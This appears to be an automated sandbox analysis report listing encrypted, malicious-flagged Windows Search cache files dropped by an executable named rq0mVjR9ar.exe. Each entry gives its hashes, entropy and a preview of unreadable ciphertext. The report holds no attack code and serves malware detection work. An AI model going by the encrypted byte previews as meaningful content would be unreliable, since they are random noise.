C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604779873335.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998351093240392
Encrypted:	true
SSDEEP:	3072:5ZccZCXeMB5iUf8u1a8nv20GD4bBrpxVFOhJb:LCXTMwxamdHVrmj
MD5:	97798078D8D4F3BAF19F1CE98B6AF97A
SHA1:	15BF6A55A8C594EDD23134D0B6AB4AF3E6EEC487
SHA-256:	BB300D299F4643CD65A83BD7ADB712282CE16D9B261B1068A88A8D3C1258E227
SHA-512:	4E81052DA9AC2A0028C0E3A7572D39A0E306171C8DD8B45987156890F954472E7631233704A620A3A7DE4BA49E42DD9D5CBBF291D7FAF3F995033E0680E8BE83
Malicious:	true
Preview:	[{"Sy..>...c..:(..y...l.O5....E@.8.Jm4...Y.v.....I....._......X......I..?..BQ....../.6..,....\|.;.......7>...).Mh....yn./........5.$....U....2.....5...5..um..4.b}........l...$.^..;._.......}.,...p...}.K.........6J....ZFK%.`....\s:..A}....9.~....g..\...$O../..EC....s`.P..G`...wz.(.W...:........+.<..1...=..@f.L...a....JfW.......\|...1-'E}.......\|m3.3,.z.B}.Hu.3q.C...Y...,..@c.."k.Y....d'.......i@y.2t.T).)..T..P2e..[o.x.{nm........R...r..Q.x..Y.C.5u_H...+...t(..a.~.e6..j..J%..p0..Gy9i..k.Jf..h..<.p....8.......l..,.d......e.9C?7....g%).....3VW.V..$mV....T.O..nK.......&D...F.m..h@.s..dP..8R....C..B.....P.._L ...Z.\|4N..Y..~.N...t....Q.!.(...UD.....3!........ww.l;h...aF...0.k8.%[`8...td}.j..N.{...L.EkC...O..8l.K. 3.V/..AI......}^RV.D.'nru1..$.....v....a..-o...M...^su......K.......>..!%/.'#...."..f....F.U...-..v_.u.Sn.....@..u6.H..?h.F...:;_.....V....#.G.g.2G.p.x....av..T._..d.Y=.fJ..I...2...\.M)1..h2..@!...$.$.J.4"2.7rT.r."7R(.6.\.7..S7....~.C..`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604847938702.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998545107869443
Encrypted:	true
SSDEEP:	3072:NmuUFtGab5+D64XIRCgU9xZG8xApQzbAkQbV:NDUx5W/XIRJQOpGbTQbV
MD5:	A797FCCA848D63E71B8BF4E6A7D70ED4
SHA1:	FF9F36330B68878BB51E6FC214A2DA68E914C1AA
SHA-256:	64432D43F6A5F772BDEDF70540FA15775E970BC998449654DC1BADA2CB8623D3
SHA-512:	FB0EE641361910AAD42787EE021F89646B1DE68ACF62F8555BDA059728A8ACAAE4484791388151360B96A2D9B63BD689AC3B1EC8FA39712AB9A8F90D9D997961
Malicious:	true
Preview:	[{"Sy.q.{7.=....,.....?_..u....,.I........5Z.?.R{.-.....I.zFY......b.-.......L:.&sg....S.....n%].#...'..>.....q....rB...tM.?.0:.H.Z.2...68o.B.!;obH/...h.fX.......N.._...m..%YI.rE....3.E9. ....%..s...k[?.PrOE..;.:......t.C....Vw....S..........jt5}I..w..\<.-.....t...v.. t.'.....rw.m.".2..cJ..OTk....x..r..BC.....Un.....^...Lh(A.UK[..] R...M.:3.#..v.I.#..L ...Z.........T}}}7...#....(W......%....K.Y_iu..Xh..P..s.m..m.4.....^..bg...8...tzu.).......?..2.j.=~..D.1.r.r....%.l..].0.9...f..`:..%.M.y.MfP..{...=v.-.+....^.0.X...o...y.h}..<...F.A..M.p....t.a...6P.Y.....r$`.pEd...Ea....O>....-.r&...qe.5......N%j.]C..t^y.O.%t...$....&B.1!Ry..#.&\U4. 8..Z....). ..).T...D>.....}J..b.x....T.p..@.....H....z-......4.......a<..J)'. ......nx.79jse;.:..n.rx.LwY.}...2X......\|.....^5..R.......Jc5a..f`\|7.6.Xs7.]Mx..d0~3.9..2..t..:..v.(....3..qe..I.O..8?s<....n.l...W....._..-v.#.....t....z:. ..K.msBG.+...............^=.Uj.y....2.Q.P..F6..tn]l;.G.yD.U....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605028834776.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998520005005886
Encrypted:	true
SSDEEP:	3072:IUkq83QK18xnXetuql2e4vPtBWpHq0AUaR:IUkbxWpXYuql43zWQNU2
MD5:	C4DCA2DEACBDCC86ADE1D7DDC8E97A76
SHA1:	9376DBE88116EE7DC41839E963D10393C0DB15DB
SHA-256:	F4D9F0BCC77433E75618779983BF2A009A40B8CDBCF3AB79F081EC8E668D9CB0
SHA-512:	BA910AFE137BA8F406D39BDC44AC364EDD0DC30F8CD8E1A23CAB50FF011AC97FAEDD6FD84FF8DF0827A3511B501EF30FBB4E3F6EE1BDA9248C37C059AAD0FD8F
Malicious:	true
Preview:	[{"Sy..`.S..{..6\..a.=.g...\|..GaDM 1..w.......t.~.Q..8.df.)\|.^...W}.3...nA..Z..Ws..............e.!.....:.K...._.:.;."..Q....0X...y..)S.=..W..i.A5.2E.A..a...5..\|..zm..._...]>>....Z.UJ...b...MEk[4...........Y..g.X..<..n.h......t......w-....i..m...{...=_...".H....";..+..k(..=..y..1..1.....&J..q...k..d..EH.....kZ..LB.K..8;G.D//Z...5...N........Y....c%.#CL9......{I.....E.ww..K@..V.A..$.y.........P.K......c.V....,a.e.4....w_.. \|..,..3.J..4.Gi..c.Ds.Q..p......l....R.I..g..h.q6. ...l.9..`...2.:. X.....~..5..E?..hH.s..>b.7.v.:.E...>....~.#.(...Q.....jT0.<.^...O?..#.:.46...^....... ..p.e.r~,Q-}.h..d.X.s<...T95M-....>.5s.."`..^\|.4OU... L.>.W.......!`..K...Zi..y..................Y...&y..E-S.u...Rq..>..K..../.I.IJ.0H.)#.JG..]*./.h.l_..6...j.h{.#&.)d:..m.U...F.#...c...b.m{.E........H.hx.7x~.......8/.,\.;..`.}J2...l..U.Q.......[......pSLE..`.6Th.x....Q.&=.L9....CHl.5...;.PI...M....Ls.\|....@"..}.>s.x}..SwT....5I...v0......4...M...^.oM?....$.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605511411373.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	111235
Entropy (8bit):	7.998345067042434
Encrypted:	true
SSDEEP:	3072:5z6In7Z5+OyS4nboJHxzImp44NakD6LEQ+nUBgzU350Bvor:t6I7HDaiZ7arLE3zzU33
MD5:	C647127E04F828FF90757EF65CEFBC83
SHA1:	A825171DB1F4893AEEF203DE3F7A1305021C9B78
SHA-256:	72119D8132CA93917440484E64B0EBF813909549E513D990F873F808022F2264
SHA-512:	854969274E3C19F0337881516FA461AA6075CDA4CAE854CD678FDC34AE8518FF81BEFD44DACD4D7F5A5B5BDCD2C60C4667F1F99311890A25F93B6A738EB69679
Malicious:	true
Preview:	[{"Sy.+....=..cA.U5...C.:.i..j-W.z...6~A.+4.........J....N..!=v#.D.......@..i..i..+Z..X'..0ry.jRpZ%^R.Z.M .!=.e&.\....T..i.XT.y(...J.N..0M..kE.9....e..y..&b.#Gps.B.dM..n ..2\|.%6o........h.n.:.y.i...G.-.eG..3k..@w\|..7b1..7./HJ........9d.....-$}?gB..p.i....;ld/.I..O..+..1:....&...R...+.c+......b..."..d.qn....KL."T-........0.;..p]Zn)x..g..W......t.o..E..9].J,.M....l..F...8.....-.......Z........X..&l.j.V4L.H._.(~....M.^.}O c..q."..Z9..grA$.w.2F\.r.:..e..I.(.K.......T..].V.>..1...H.f.>..!..eu7........HeS...9%Sk..3...:s......+X.L.;c...ZS.c #.H01.FX....vp.+Z.=qO...E.h.X!....uQ$..x..@!9Yf....M&........l.l.G..4Y..z.....Y.O..ER...............g.:......R<b.%4.BvA7%.....qh..B..{\|%.j..]......7.y..o..WV..0....L..."0o. ]\..@.f..2h.L...0].K9.>..w..5...%....o.G.%..c.-.1_d.C.Q..+...i..g[.PV\.{.4.I.y..~'RH.l%.)Wd.=.......K......Q/0.._...~n...Y.9j.&.A.}.9.<bw.........u.B_.t.^D.->J..J.....J-..N.~.B.24...Ji{...Z...U...,C..A}w..<._....<W"xD..].,.z....e.i.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409607532982526.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	111236
Entropy (8bit):	7.998372047507871
Encrypted:	true
SSDEEP:	3072:RJGKQxy0JQhn0xLR4eWTYUlCth/X/Itedp0:RJUyeQhnbMU21XnX0
MD5:	D50E1BCEF0F7094CB94FFE0E05C87359
SHA1:	F4A7264A8FACDBBA053A90E8AFADBF8FE6124FF4
SHA-256:	1B00BD69C1F0C6ABE47A42CB17D7A8ED821356AF8CF475DCDFB48AFA309C9534
SHA-512:	899AD1A86EF1BED2A4A82F104A3D3C59D6CC20951FCE35B69D96923BE1AE30D7ABB6559A2AAF0D6A19AB277904FEDC5C6375DC33ED32D1991D76E1B8934FDDAC
Malicious:	true
Preview:	[{"Sy..(..Bc..V'.0.........`g....-.KoH.#.)...R<.-.G.v.........p.."A.70..e.....3.<.]...\|=.%w..C..........a.z..........D.c.9.F..M'.....(.../.L...u.{....:Od.....X...../<.....wz...T.......w..`..5..5.z..L..N:.s=....v..GK....XG,V...._...).m.z..e.f..`JP.'..D.J.....[f..{M8\|......q.k..5...uU..3O....\qt.%\i.....z.{jW..#...6...7...,..c.$..2.........l[.R.%.....DZ.T.?.w.p...S......I.lEt.+.2..Z.C.o&.5_..i&.v.=.j......zO.}.1,T.....).C...5.KG......m.2....w.=.qRo.7]Z...brJ.J-....B.F..S.t. .s.wn...k...0......T...kp.G.....x...E..+o.......!..KcJ.z4.......l.@.....d.,.}..vi.i.T.4e.....).UA..".P.......K&. ..L1...!.....d(.>.2.{.).....\|..Cq3..1..L.;...:<....v......!.y..9..>.V'bS.&...4..H`..'...P.=.W.:P.....B&.i..c<ssO.c@7-...S_.y>.t".T8.v.J....@..H....*.k.`].....z'. \.%..0V...O.".\|.fX.1..v.2H8..L..S\|.....MD8..}.......E[.j,..L..G.]n..^ ......!..[...W.....<...f...... .qW.....D..(..r."......iO.Ud.z..h.{.....#.N....Q{1..xS8.V...Rd..%.....U..J...s...#....D ....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409608313396144.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	123807
Entropy (8bit):	7.9984823311077315
Encrypted:	true
SSDEEP:	3072:fb4JFyqUBVTru9TJjjasFIj/pN5T8d9NdhjM1Je:AFB3TFjasOjVT83hjM1Y
MD5:	F18F909EE6D4684E01A206BD46536711
SHA1:	9F5719AB2F026B58E49CECC95ACD4D6ABCEAAE0A
SHA-256:	6EE80CF6F80D7FC5882E82A05E01B87481CC189D0F570BAF6556E327A91CAED7
SHA-512:	E6F91499BD4E12E0F7F80BE409D9A9718A63D51EFCF1E0FEAF2BCB69C98DA528116B2F2543F190F8782BBA35DBC00D3085EBAA9D7344D8E058B4A83398A6AC3B
Malicious:	true
Preview:	[{"Sy.:D&.W-1}.v+tn)......yd{^b....h]...).$1.S...qh4..6.>.M.......vkS....D..g....\..Mb%!..$..O.9.q,..a...).Z....^....}U........;W..q..4.<.u....f.-.T.....~...U.I=.s.OZ.r`..d1..kn...-.8........`e(nMk../...RB.......6.F.....67.I....k.2t..L.......h...H...@....dI...P....g.....x..l.>..-R.\|...a.i..y=...9!..J....v.......9....D5..!.."...b....5<..H(.. w.y..Pv.~.t.r.0.4..3.7.........,..P...32.V.G...l...v.jm.^.V.fhV...Z..ku....uv......D...52.<.$=V:....hi.~..>....3E.. }...\ .....}E....+..~.F..l.)...3....f..6Y..I.k...]. .Aif.........N..#.........&}G..y.(l...0=@CB.......T.....9k$..k.<{w.(R9T....%@Lb.0cD.9t.E..F.=.XB.q=..&xH........Ta...k...5`.M.0...s.h.j^..FBK.I..FE..+..7?.3.;{.w.ta..H.+pf'.:./.o.I....}.@.h..6...J..(.......3.....n..av_. 0uU.z..S...XT.U..8^..;.d....gBt.\I...I.."......"^..;&....<-.;..A...[uF..Iu..C..=.]...Xf...9....8..O.D..x.0d.&..Nnz..S.8/8Ir3.c.>q.9...D...R.W.o...].K.....KF.@...'K!<s..A~...\|Q..@..H..h............7.k..{.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409609587090804.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	123809
Entropy (8bit):	7.998568663278242
Encrypted:	true
SSDEEP:	3072:ze/KpbFU52Dqo7nM9qyy0LxhR1IU3gnAvz+Jwg:m6bi5S71yy0X8U3gY+Jwg
MD5:	3D8429E916E174C35AE40D4E85A4EA80
SHA1:	B743B4D6BE89D055BE50E1C8B17EA0529DFE5B81
SHA-256:	66F2B3913CAFB6907BA6BEA42B5FD6E29D9F087E2A56893AC2BAA830D2709C5E
SHA-512:	AFF88773CBBB471F6005942EC263F5A988053DF7B32034F50F6CAC1D5D4960258907045C0D6B0F14B37D665EE25821F7D8BA372312C352680F4297676D575E05
Malicious:	true
Preview:	[{"Sy....s....p..[\|...b.=..."..9..I....R..L<.[#&.X...`U..,.^.8.'.w........k......Ie...Y(..X8y.?...aQK..t.(...2E...P......-...D.... 5..O...@........\|.W.3...g......wi.&....z .Z.3.H.=...5.G...:dK...M.....oW.2+.......d7.&o8:%:...3.C....._XS.KY~).1J.\|;....f.aP;...+h....d+..(..9.gUJ...,...c.3^.!=C.$.G.o7\.jY....QcK..\|.Er.Z..1...^....B(.....9..:..A.5..=z...5....i4@.}..../vc........kN.H.C.SAB..........T.n%'BI...[k...wK...h........~:z@.....\..z3....:}(.2-...~.8.YYG.E....;.&.7 ...m.`a...\....[...L.......{eS\|Uo...Q.{..M?...>.M?..e......*.#4.KA..........-.8.@.lb..07VC/..-.K).'!jF..'?\V...R.....fW.d.......?.....d.Z.e.I.;..w..a^.......A..&j...".V.<..\%.KW.6.'.....a...Z..V-...&.E.Q....x..p.G....&..m(..c.c..D]......k4...M.......PA.\|..."[i..Gy.....6.+b.:.P.<.!N.....9..D.......t.. rn.M...q...\|....{.23..~.$]J.......'.......n....3L.....s....;C...!......%.>.E..POJ.a>.N.JF.6..14>...e(7.........+-....H.........LC.!q.0kYoyj..q...BSc..S-.F....f...e.p.5.... &...<.1

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409610265331693.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	123809
Entropy (8bit):	7.998533656196614
Encrypted:	true
SSDEEP:	3072:hGQEX21JwqLKOD0PPY/LGYvsKQjS+AHK8LIOwWS5ctLKH:hGUUaDKYTDvD+PVOl7tLKH
MD5:	FA9B7937D7ADB277F358676FA660A902
SHA1:	60D108A0BF68CA6F9DDAE03EE9477B18E47550FE
SHA-256:	2E7FF23EC6F50609A7415B24F974E9F3A684CEF77FF6E55194967A15F62DEE9C
SHA-512:	29D487090F4FE2709A150E1922A06A1F52C2E0C89990CFD345D5D2F892C655B24AB7393F0CD45A9F461BC14091C19DA4592DF4BD4C3C38C3A4B2F9CDB84A9E2F
Malicious:	true
Preview:	[{"Sy......by.....>.{...W..q.y=BtV..N.!%..v..%K..y6NW.._p.....y...'.%.cd.J....1......r@..S.,...m..u.m+<8>fN}.u..v..Tn..u./.S.^b#....I....k.3.J..K.I.2xv.....z..4...>.P..%.x............5...x.v.j;..[s4...&...7.nr.u.<......(.........;.LE....t.S&..=`...ra....?`!..>#.@{.....N.=.B.@.t. .......VW..n..dM..(.F.yH......u.7..]....t.V...._.P..j.N.Q..?..^Bp..@...+..A...[...z....0.......<...+4...2.Q.E[$..-..Or.@.xak.j.y..02....,..ez.6L...u..%<~}J&.H..."B....aw.8.g......j.Q.....~O^A...0.:....... [....&....sxd....JS.t..T4Y7...b.^..AZ?....9...l.\|0f..o).3....+....3.......0\..G....3..>R....\|..a...4....[..hIu..K..5{1...5..<. .5.i..%7-..\|8[.H\|.V..(N.C'..J.H.+.wC3y.....?..m.}D.`U...Wg8T...,-...nn.......J...M\..;.z.1K.._q...A,~<4d.0vq....>....c...B-.7.$..#..Z...I.%.Y...3*G.l.(.A;`&.'..Ph..!........+..}..)K....K{...~T....k.z..t.0.KT.g) .=....Ek.m#...p...!"5}.1.[}.x.y.?..o...Q.O..;`....b../.Ry.,...t.4...u..j..Y...r..._.fY.b&..........f..q8......g.2.q^.y/..l.!...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611536865225.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	123266
Entropy (8bit):	7.998477246741834
Encrypted:	true
SSDEEP:	3072:5EhUG+fbXt1uvMKfZfEpLIZUuC7JJyI/pFM1WX/IFjqR6cYKs4d:5EGrDX/ukKV28UuClII/pNPo+64s4d
MD5:	FB5A493A5C2EB6D5167C5FEA3BA7E4EB
SHA1:	54D3898430C95F34C35A68365F501F641920C744
SHA-256:	754DECABB7FAB46CF5097542B4F75509E15C0B8C5D80B1959F251A671C0FEEB9
SHA-512:	4B977987AD6F69085819C9C260AE58BF5BB082CFAA71488A150D28CD091777CEB191367AC69F2C90B1CBE1CE24261203D7F054CD80B26938C7C5AE8E70DE36B9
Malicious:	true
Preview:	[{"Sy...\.#B.[tw.M.'.@..T..(.....(`!=.2..\|B.NF......m6.i.......7..W].....n..l....6......9..b.C.(.R..}R=WntBLk.H.O...A]~..\|.......R.[B#.(...........V..boS....l.......$.(.B!4.CiB....sU.J.-}.......Z..3-Y.....X....s.~2..h."u.ql.gr.(.s...............`.Vi...hsZ.cD...lxw.....A..-4wVOs4@g#g<..}#.......W..9..U.SNO..Y..OW(^[...NU..w..v...P.<$n.-........;J.sW.........f.v..0jwW\..I.6..2.W...V...qQ.e.l..ip.iY-UQ..]n7.a..E...R$.M.{.^...ha......x.{\...\|uw.WefK/.@.W..}.k.5...D...m..d.Oq?`.....cy..!....L..\.S.q....n.<...... ....Z.h....1..i..w].....@R.y....oH..3X....K.....^.l=-..l!..m.H.7.Y...R....;s~.B.4.;f.+....f...1?.J\|dE..pN..r...$z..e.P.=.u~........(:o.6..N......aw....=.4!.....V..y..F.u]......\)...n.0>X.2l.w..M#..1._...&.0V8P......G.;.I\|l....g.\|..A."........pz....A.j.u........r`.....6..... .>pr.I........_..;..e-a..:.!<..#.....N..4......#.~..x....V..~X\|./....?..[m4..1.....;3..`.N...{.<..".."....)G0....a..5...V.8'c@.R`e.G3..-^..u......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611734040046.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	122823
Entropy (8bit):	7.998428677128895
Encrypted:	true
SSDEEP:	3072:2xKovT3M2/WTTbRKQLCEzMiG82jh55SPyj2KCbG:8M2/5QvzMD8215IPyjMbG
MD5:	D9092808615B8F9121D25BFB5F993461
SHA1:	E552FCEA5591DDB6C95541AEB6C5A0D198DE4263
SHA-256:	C80F41EF959F63A235BB25ACF9F8D8762CAD8A82B4771DD4C29C3729FFAF91EA
SHA-512:	FE287D65E5EF6AB21CDD6BCEBA97CF9629AD7BC7D679752E34024DCEECEA60A7276246AA6E7BA540A86CB3837054A3786B4A6DD6CDBE09B523A2522FEB6DAE02
Malicious:	true
Preview:	[{"Sy....u.+....c..~.r........_....[_..1.}..h/..@\..0..aF..Z.w..j.d>........V..F4.MMu..4.......RwfA....^x.....]i. ..@...[... .N..?..-].+X...p.u@.B1...v.1/....x7Du.A....=.s.).5..ys..h .^....E..........N1TXm...7..D..$..m....sk..`...1.R.U.$..g.Nm-..R....2"a4..{i3..ofS ...B0..X.).C.D.~.As.N.+L.N.y."....E... ...Y{9?M..u..^...........6.?.....ub.....jw.........9....M0"F^Io9L.C....y1+.....c...#R..h_.5.*.\......Fm.C/P.=..yu..........j.3-.r. ]e.B..IK........~.lfH..r.M.!...$.c(....7...\g...l.X.."\.......~~7....&N..wO{..TW..Z.N....RH_.0..e.SGM(.L."Q9..Z/...R.y...K.Q......1.%`5.z......d.......J.jDY....qk.br.e.`jg..4.ehft.o..`...".......x$b.gH..^.DI..P.:...v.7..../.y2`......L.`......B......bD~.8.....].\|......q...`t..M.]....~.....x.$.i....`!.....cx.....=....`....t)\|H..S.4$J..S{r.yD....y.>\V...`.@T.H.....\.v...w.)=t.:.dP+..@.9........"..X&M..4 ....P ..Cr.L.].O...\|fv..........iw7:D(.LB2...}.rz...V.......i.Xmj..P......orW...l.f....2.v.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611829881178.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	121855
Entropy (8bit):	7.998493513093127
Encrypted:	true
SSDEEP:	3072:auWoqXG/QgaTpeQy9ZWuNAXl6j8Hz5C/EgW6qYJhG:j2G/YpSZZNA162n4qQI
MD5:	C104E19F281F9C0FAD9DF279A905D336
SHA1:	1894C6443FCDBFAA82F0E30760DA80EA9FF64EBB
SHA-256:	E6F6B6361C4877ACC6384B7480E4A8ADB4C56004341627F72782CE8BDCE50DA3
SHA-512:	96ADE17C71C438C15B2D59F9B76D0CCF8116BD64FF2D1B9007157CD75F3B69F12199BE036E385DBA6861271946C5FBBA0C33183B57735D4FC0A1B13CDACCEF43
Malicious:	true
Preview:	[{"Sy......c...Y.3..Cv/..........+..f._.P.tM...Dc...z/.i.8.....C.YC...>....H;..E?..5....v.........L.n.[.[.k.t....C..Fy...V..T.+e..Z....{...#.$eEd.M"...c..D......`F...j>.M-..D.us............A.........K\|z.B.n....L.r.k..Z/......yl..q..[...I....'.._8..6..o%Z.&wk:.\.....M......I..9.<&...8E....d.7.%.)Np.sc8@F.S.;.n.U.s4.....R).)....-......N6.XdEf@...o...d.)'.sT.Z.......e.Q08.C..+.[s....#.K....\|.-.....%....HQ.......=....p....fn.\8.."-.O..m.......wz.@M'..G...uL..R...!..bW'.>......u0.E.L-..=I.r...ow..........(...g.<jL...X\|5 Q.....3..&.. ..\}.O.B.4..#.<.9 @.-E2.;.LM...J.........;.`u\|\|....m_N\N....H....X.F.....B..../.j...z....Qu.c.5..,W}.....=1E....H.i....;k.. .'.xZK.P..B.n..;.o4...>V.'...=...O..Z.N.f...y(....M...(K.t..k.V2..UoA..^...kD5.'.o>.qPj...$.+ .7..k.t....jp=..8u..H........s.i..W.:........V"....]&...M..tm.U..#.U...8T.:F.y.<.n3.9...v.!....u.6.atT...+...%.....f%.............L.Z$.+(..%A.....7....z..../Y..9.X.!h....ynl.e.q^]@Q..G`D.].L.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618156106430.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	120992
Entropy (8bit):	7.998708290573135
Encrypted:	true
SSDEEP:	3072:X/14MRoVnquT2dypuKZMoUMO/DLOaQiYHsuyiD/SS:XN4MRoVquujKZMnNvjQjHd7/SS
MD5:	B46CCDF679F8F89044071E4873F092AF
SHA1:	D9C392CE605001430FAE737DA34796C4221AF994
SHA-256:	91DE055A10717ED9EBA795F464434BF4E1F6E9EC3D92CF6CC8DC0EB7EEDBFFFF
SHA-512:	F2661A5EFCC9DE10A1181CCA4A11BC5DC6E66482D19E57AD378BC4A8D0D9336D2DD51E8BE3F06B7B8DCFEA848B990A6F022CBA369171D5FFECF8E4BF9175D87A
Malicious:	true
Preview:	[{"Sy...H.F.K.X...k.#...i...vB7.f`f.....>....d.....&\|mp.ld.Sb.I{va'..).B'6K..I..~..T..cx.q..s6.....WBK...;...y.....64;^...$....m...M...5+A.\|..a.."W=.Nr..n3N.....M..V:2.?.?...j.d...$..../<.#9i6...+..YiZ.o......W.=.fT.=t~P.'=X..)..?......6;).M......_g.>".....I?.....C..............c5.D.jpO....IM."..q7....@K.......$...GI+..RF.....t..........+(.(.j....dV.s.....MKy..T.&..X.m.....[.t.zk_EuK......V.).B~;..F..Tg.....<H....n\..A..R.8.5.....Se%......#.}#_Iz..........CP..H?.[4......o. ?........P.+.#..."..Oo...hN.%x..D\|...!...fo(.....(}...O].6.mWN].8thX.R...q..q._i.....%.5.l..DX...3...=e._...o..1.7..X%.%ud\.xE\|..o_...(.\.u.[..U7^....ikd..=lA.......l...c?.,......(...s...5.U.Jz.F.K.{4<YV.L...w.B..=.m......../....n%\o.M@. ......o....?....~...!1...N....L.Jm.w...B...;." %..]..v4.. .w.0.%>B...ZC........5.....WRS... .".Y.............=.u.:v2j.:..{(..Aa.y.`..C.....E....o.7{.l...I...J}BL.S.Sg...3...`......7v.y......3..x...!G...E.t...p....>.\|..27..j'..1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618348757513.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	115168
Entropy (8bit):	7.998395324212271
Encrypted:	true
SSDEEP:	3072:YaaQ9o8snJOoJj/VzRzQt3uLaJ7FG9fscpU9A:TrEOEj/VzR8t6QZ8U9A
MD5:	59266BC185CE4746173D6CC02C61F861
SHA1:	A5584C27B053DB5AD148AEE18D7E23227A8B7FDD
SHA-256:	976DC273AEA2AC6E5B357ED6EB800D3F4A39D3F0B40FAA815DB01B8D7AEFD5DC
SHA-512:	2466A8EE28EF2A1978FADC41B3EEA91B33BF3367F0862AE02B17B150D4FEC842D3B1A3B03C5247B85869CCCC4810A8C9E3171EA38D7389DC9D04584D9A518AE5
Malicious:	true
Preview:	[{"Sy...........v.M..@....f.5u`U.A..O.....c.]1....4.....ifUC.}......;.p....U...\.c.(..A......HD....n......k...f.{..MA.UY.C7.A.=.L.NJS.s.+.......5u....+.J...]..\L..:......h..:..WQd.H.>..$......$.9.p..h".+.m......5....>... t.&.YN.:.)..i.U..8............\e..I....f...'.....d...\|.\A.i.B?>..r...Q.ZG...v?...,.4.`.L.n.2>.........:1..OmC;.c6o.j..t/.2o...>....C.{ ...X.e..5.(.S......UN...d.8..VW.o.7;......<.........R....}.)....:G]$?..............(....8.(k..j..O.......X..1\..`o%X:../.s@.w....S....e.p..B....t..."........me...&M1...F...m..b..)...Q../,.[..d.]<...^.:....c.Q..L)..)m.?..\.....2 .....w5..-....a....a.A7..T{.k9.....v...l.y..P\|8.p.4.H.s..T.;K... .Q5....&..d.L....._.MC.}..?.v..L..7...;...Y?.j......`..w.....:....'.)n/f..o15.z.}....q..p,..N.w.t..z...v..[....&_.....!7....{Q..........O.{l.q......}&.Ivzab.tz..0M...d.#..BU9..R.1..I....(.c.3.J&.Hx.[..~.t....%..Tt..5:N3..+R.....cpA..hn;E4.......,.of..rX.....AG.. >O!.~Hpu...>.}U...i<]..%Z.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618620166650.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	115168
Entropy (8bit):	7.9985927738275295
Encrypted:	true
SSDEEP:	3072:057jqsmNifmryXY7BeGJP5NSt9ysdkyZggcbQRDETw9ez:cjbmAfmr4Y7gAzSvIL0CMez
MD5:	40CA438F28A574666EFB3503E5E3E146
SHA1:	EF8C681CB00CD48312978AD7DC8C30776AE2D187
SHA-256:	F1B401C47F25012F7148E3A1AD8B91F8AB6662C0CEB1D7599CCEA1EA791BA2CC
SHA-512:	28A7AF168ECCC6816EB140E65B39F5E3E083425A3888D053A8B113CFCFACFB985FCA819061C3D0C38D50FA24166B1DA759AE4A1290172BA0E841BC3368F0111B
Malicious:	true
